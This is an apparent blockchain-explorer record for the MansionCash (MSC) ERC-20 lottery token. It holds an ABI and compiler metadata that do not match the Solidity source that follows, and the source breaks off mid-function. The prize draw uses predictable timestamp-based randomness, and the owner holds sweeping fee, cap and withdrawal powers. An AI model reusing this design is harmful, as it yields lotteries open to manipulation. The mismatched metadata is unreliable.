[{"constant":true,"inputs":[{"name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokenId","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"}],"name":"addMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"renounceMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"isMinter","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokenId","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":true,"name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"approved","type":"address"},{"indexed":true,"name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"operator","type":"address"},{"indexed":false,"name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"}]
v0.5.2+commit.1df8f40c
false
200
Default
false
bzzr://6e1e75ea3b01d3ac48146c7c2c8d0068862259c9824e1dc314feb95963e5b1a0
MansionCashToken
0x4a013d18330880167a2507bc7b2a90bd2c912ec7
Solidity
pragma solidity 0.8.0; // SPDX-License-Identifier: Unlicensed /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } contract MansionCashToken is Context, Ownable, IERC20 { // Libraries using SafeMath for uint256; using Address for address; // Attributes for ERC-20 token string private _name = "MansionCash"; string private _symbol = "MSC"; uint8 private _decimals = 9; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _total = 100000000 * 10**6 * 10**9; // cap 100,000B uint256 private maxTxAmount = 3450000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 345000 * 10**6 * 10**9; uint256 private minHoldingThreshold = 50000 * 10**6 * 10**9; // 50B // MansionCash attributes uint8 public mansionTax = 6; uint8 public burnableFundRate = 3; uint8 public operationalFundRate = 1; uint256 public mansionFund; uint256 public burnableFund; uint256 public operationalFund; uint256 private largePrizeTotal = 0; uint256 private mediumPrizeTotal = 0; uint256 private smallPrizeTotal = 0; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public transactionFee = false; IUniswapV2Router02 public immutable uniSwapV2Router; address public immutable uniswapV2Pair; struct Entity { address _key; bool _isValid; uint256 _createdAt; } mapping (address => uint256) private addressToIndex; mapping (uint256 => Entity) private indexToEntity; uint256 private lastIndexUsed = 0; uint256 private lastEntryAllowed = 0; uint32 public perBatchSize = 100; event GrandPrizeReceivedAddresses ( address addressReceived, uint256 amount ); event MediumPrizeReceivedAddresses ( address[] addressesReceived, uint256 amount ); event SmallPrizePayoutComplete ( uint256 amount ); event SwapAndLiquifyEnabledUpdated(bool enabled); event TransactionFeeEnableUpdated(bool enabled ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event OperationalFundWithdrawn( uint256 amount, address recepient, string reason ); event StartMansion ( uint256 largePrizeTotal, uint256 mediumPrizeTotal, uint256 lowPrizeTotal ); constructor () { _balance[_msgSender()] = _total; addEntity(_msgSender()); mansionFund = 0; burnableFund = 0; operationalFund = 0; inSwapAndLiquify = false; IUniswapV2Router02 _UniSwapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_UniSwapV2Router.factory()) .createPair(address(this), _UniSwapV2Router.WETH()); uniSwapV2Router = _UniSwapV2Router; emit Transfer(address(0), _msgSender(), _total); } modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } // --- section 1 --- : Standard ERC 20 functions function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _total; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } // --- section 2 --- : MansionCash specific logics function burnToken(uint256 amount) public onlyOwner virtual { require(amount <= _balance[address(this)], "Cannot burn more than avilable balancec"); require(amount <= burnableFund, "Cannot burn more than burn fund"); _balance[address(this)] = _balance[address(this)].sub(amount); _total = _total.sub(amount); burnableFund = burnableFund.sub(amount); emit Transfer(address(this), address(0), amount); } function getCommunityMansionCashFund() public view returns (uint256) { uint256 communityFund = burnableFund.add(mansionFund).add(operationalFund); return communityFund; } function getminHoldingThreshold() public view returns (uint256) { return minHoldingThreshold; } function getMaxTxnAmount() public view returns (uint256) { return maxTxAmount; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setTransactionFee(bool _enabled) public onlyOwner { transactionFee = _enabled; emit TransactionFeeEnableUpdated(_enabled); } function setminHoldingThreshold(uint256 amount) public onlyOwner { minHoldingThreshold = amount; } function setMaxTxnAmount(uint256 amount) public onlyOwner { maxTxAmount = amount; } function setBatchSize(uint32 newSize) public onlyOwner { perBatchSize = newSize; } function withdrawOperationFund(uint256 amount, address walletAddress, string memory reason) public onlyOwner() { require(amount < operationalFund, "You cannot withdraw more funds that you have in mansion fund"); require(amount <= _balance[address(this)], "You cannot withdraw more funds that you have in operation fund"); // track operation fund after withdrawal operationalFund = operationalFund.sub(amount); _balance[address(this)] = _balance[address(this)].sub(amount); _balance[walletAddress] = _balance[walletAddress].add(amount); emit OperationalFundWithdrawn(amount, walletAddress, reason); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniSwapV2Router.WETH(); _approve(address(this), address(uniSwapV2Router), tokenAmount); // make the swap uniSwapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } //to recieve WETH from Uniswap when swaping receive() external payable {} function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniSwapV2Router), tokenAmount); // add the liquidity uniSwapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } // --- section 3 --- : Executions function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address fromAddress, address toAddress, uint256 amount) private { require(fromAddress != address(0) && toAddress != address(0), "ERC20: transfer from/to the zero address"); require(amount > 0 && amount <= _balance[fromAddress], "Transfer amount invalid"); if(fromAddress != owner() && toAddress != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // This is contract's balance without any reserved funds such as mansion Fund uint256 contractTokenBalance = balanceOf(address(this)).sub(getCommunityMansionCashFund()); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; // Dynamically hydrate LP. Standard practice in recent altcoin if ( overMinTokenBalance && !inSwapAndLiquify && fromAddress != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } _balance[fromAddress] = _balance[fromAddress].sub(amount); uint256 transactionTokenAmount = _getValues(amount); _balance[toAddress] = _balance[toAddress].add(transactionTokenAmount); // Add and remove wallet address from MANSION eligibility if (_balance[toAddress] >= minHoldingThreshold && toAddress != address(this)){ addEntity(toAddress); } if (_balance[fromAddress] < minHoldingThreshold && fromAddress != address(this)) { removeEntity(fromAddress); } shuffleEntities(amount, transactionTokenAmount); emit Transfer(fromAddress, toAddress, transactionTokenAmount); } function _getValues(uint256 amount) private returns (uint256) { // if not charge fee transaction. if (!transactionFee ){ return amount ; } uint256 mansionTaxFee = _extractMansionFund(amount); uint256 operationalTax = _extractOperationalFund(amount); uint256 burnableFundTax = _extractBurnableFund(amount); uint256 businessTax = operationalTax.add(burnableFundTax).add(mansionTaxFee); uint256 transactionAmount = amount.sub(businessTax); return transactionAmount; } function _extractMansionFund(uint256 amount) private returns (uint256) { uint256 mansionFundContribution = _getExtractableFund(amount, mansionTax); mansionFund = mansionFund.add(mansionFundContribution); _balance[address(this)] = _balance[address(this)].add(mansionFundContribution); return mansionFundContribution; } function _extractOperationalFund(uint256 amount) private returns (uint256) { (uint256 operationalFundContribution) = _getExtractableFund(amount, operationalFundRate); operationalFund = operationalFund.add(operationalFundContribution); _balance[address(this)] = _balance[address(this)].add(operationalFundContribution); return operationalFundContribution; } function _extractBurnableFund(uint256 amount) private returns (uint256) { (uint256 burnableFundContribution) = _getExtractableFund(amount, burnableFundRate); burnableFund = burnableFund.add(burnableFundContribution); _balance[address(this)] = _balance[address(this)].add(burnableFundContribution); return burnableFundContribution; } function _getExtractableFund(uint256 amount, uint8 rate) private pure returns (uint256) { return amount.mul(rate).div(10**2); } // --- Section 4 --- : MANSION functions. // Off-chain bot calls payoutLargeRedistribution, payoutMediumRedistribution, payoutSmallRedistribution in order function startMansion() public onlyOwner returns (bool success) { require (mansionFund > 0, "fund too small"); largePrizeTotal = mansionFund.div(4); mediumPrizeTotal = mansionFund.div(2); smallPrizeTotal = mansionFund.sub(largePrizeTotal).sub(mediumPrizeTotal); lastEntryAllowed = lastIndexUsed; emit StartMansion(largePrizeTotal, mediumPrizeTotal, smallPrizeTotal); return true; } function payoutLargeRedistribution() public onlyOwner() returns (bool success) { require (lastEntryAllowed != 0, "MANSION must be initiated before this function can be called."); uint256 seed = 48; uint256 largePrize = largePrizeTotal; // Uses random number generator from timestamp. However, nobody should know what order addresses are stored due to shffle uint randNum = uint(keccak256(abi.encodePacked(block.timestamp, msg.sender, seed))) % lastEntryAllowed; Entity memory bigPrizeEligibleEntity = getEntity(randNum, false); while (bigPrizeEligibleEntity._isValid != true) { // Uses random number generator from timestamp. However, nobody should know what order addresses are stored due to shffle randNum = 